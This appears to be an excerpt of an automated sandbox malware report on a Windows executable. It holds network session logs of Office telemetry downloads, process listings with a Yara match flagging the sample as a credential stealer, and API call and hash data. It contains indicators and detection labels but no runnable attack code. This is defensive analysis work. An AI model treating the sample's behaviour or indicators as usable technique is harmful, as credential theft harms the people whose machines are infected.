2024-11-15 18:39:41 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.7	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:42 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:42 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:42 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: b169f515-401e-000a-47f8-354a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183942Z-1866b5c5fbbg6vdshC1DFW20h800000001r000000000nygf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:42 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:42 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:42 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:42 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 87019636-c01e-0082-15c7-2caf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183942Z-16547b76f7ffx24hhC1DFW9px4000000015g00000000p2wf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:42 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.7	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:42 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:42 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:42 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: f87a9289-e01e-0099-41af-36da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183942Z-1866b5c5fbbpxkkxhC1DFWhvmc00000001v000000000fq34 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:42 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:42 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:43 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:42 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 1d414214-201e-0003-4d32-2cf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183942Z-16547b76f7fgfpmjhC1DFWw6ec000000012g00000000pft7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:43 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:42 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:43 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:43 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 86712c9d-c01e-007a-5916-36b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183943Z-16547b76f7fmbrhqhC1DFWkds80000000nn0000000006598 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:43 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:43 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:43 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:43 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 5523553a-801e-0015-3caf-36f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183943Z-1866b5c5fbbzzh8chC1DFWdrc4000000019000000000hn7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:43 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:43 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:43 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:43 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: ce35fbe0-201e-003c-587e-3730f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183943Z-164f84587bfsqsthhC1DFWh63000000000wg0000000015a1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:43 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Target ID:	5
Start time:	13:39:08
Start date:	15/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x8d0000
File size:	1'843'200 bytes
MD5 hash:	25EDA07B817C7417799D153D629E1D94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000003.1417685938.000000000129D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000003.1418247910.000000000129E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:22:51
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	15:22:52
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=1880,i,16005294969273023944,6149792869033934802,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	15:22:55
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:22:55
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1912,i,9192152280094164076,13966168895789151586,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	8
Total number of Limit Nodes:	1

Executed Functions

Function 0619519A Relevance: 4.6, APIs: 3, Instructions: 106
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 0619633E
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 06196365
GetNativeSystemInfo.KERNEL32(?), ref: 061963BC

Memory Dump Source

Source File: 00000005.00000002.1667063331.000000000618E000.00000040.00000800.00020000.00000000.sdmp, Offset: 06000000, based on PE: true

Associated: 00000005.00000002.1666990007.0000000006000000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667011673.0000000006002000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667033431.0000000006006000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667063331.000000000600A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667063331.00000000062A0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667063331.00000000062AE000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667063331.00000000062B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6000000_file.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 4dc2b8d4c56da9fe6d1a1ae120d76094efc727a24e89a17066461d8d67d4258a
Instruction ID: 0d4c13d241a85c24f6c3ba332bc7d34cdcebe13fdfec4ca3c11e3be4ec12adb8
Opcode Fuzzy Hash: 4dc2b8d4c56da9fe6d1a1ae120d76094efc727a24e89a17066461d8d67d4258a
Instruction Fuzzy Hash: EC414F7140420E9FEF54DF64C8856EEBBE9FF05305F51082AE98582A00D7765DA4CFAA

Non-executed Functions

Function 012A9849 Relevance: .8, Instructions: 765COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000003.1435668182.00000000012A7000.00000004.00000020.00020000.00000000.sdmp, Offset: 012A7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_129d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dae2135e0d50de283a80f8fa63a3f40a238e0c3bca1e8fc29e07519af73d565
Instruction ID: 7384ea947de40f043598a0d771cf9ec5f9918e9881edc5c5c945e560c000b79e
Opcode Fuzzy Hash: 6dae2135e0d50de283a80f8fa63a3f40a238e0c3bca1e8fc29e07519af73d565
Instruction Fuzzy Hash: D442325149E7C11FDB1787701DB9995BFA4AE1322870ECBCFC8C94E8A3D388954AD362

Function 0619D67B Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1667063331.000000000618E000.00000040.00000800.00020000.00000000.sdmp, Offset: 06000000, based on PE: true

Associated: 00000005.00000002.1666990007.0000000006000000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667011673.0000000006002000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667033431.0000000006006000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667063331.000000000600A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667063331.00000000062A0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667063331.00000000062AE000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667063331.00000000062B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86376548854a64828cfb09a1990206df8c734e360e9a00fe0b15a7d0be07a2c2
Instruction ID: e7d86e41f90dcb3dd456939fd85316b24b05e8cadbe6502463a2b5df00d6c0cd
Opcode Fuzzy Hash: 86376548854a64828cfb09a1990206df8c734e360e9a00fe0b15a7d0be07a2c2
Instruction Fuzzy Hash: FB514AB2A0C640DFE74CAF29E84163AF7E5EF94750F068C2DE2C687244EB7454458BA7

Function 061A2601 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1667063331.000000000618E000.00000040.00000800.00020000.00000000.sdmp, Offset: 06000000, based on PE: true

Associated: 00000005.00000002.1666990007.0000000006000000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667011673.0000000006002000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667033431.0000000006006000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667063331.000000000600A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667063331.00000000062A0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667063331.00000000062AE000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667063331.00000000062B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d5aa93f9687aea9939226755337191526686275d8354b23fc653fbbb2f34643
Instruction ID: 5311fafe7a0861c0ac5867c2afd2fa5109b1aac8cd8c0e89340179e49b5bb625
Opcode Fuzzy Hash: 9d5aa93f9687aea9939226755337191526686275d8354b23fc653fbbb2f34643
Instruction Fuzzy Hash: C1319AB260C300EFD340AF5ADC41A7EFBE9EB95720F26492DE6D4C2600D73598858B63

Function 0619B7D2 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1667063331.000000000618E000.00000040.00000800.00020000.00000000.sdmp, Offset: 06000000, based on PE: true

Associated: 00000005.00000002.1666990007.0000000006000000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667011673.0000000006002000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667033431.0000000006006000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667063331.000000000600A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667063331.00000000062A0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.1667063331.00000000062AE000.00000040.00000800.00020000.00000000.sdmpDownload File
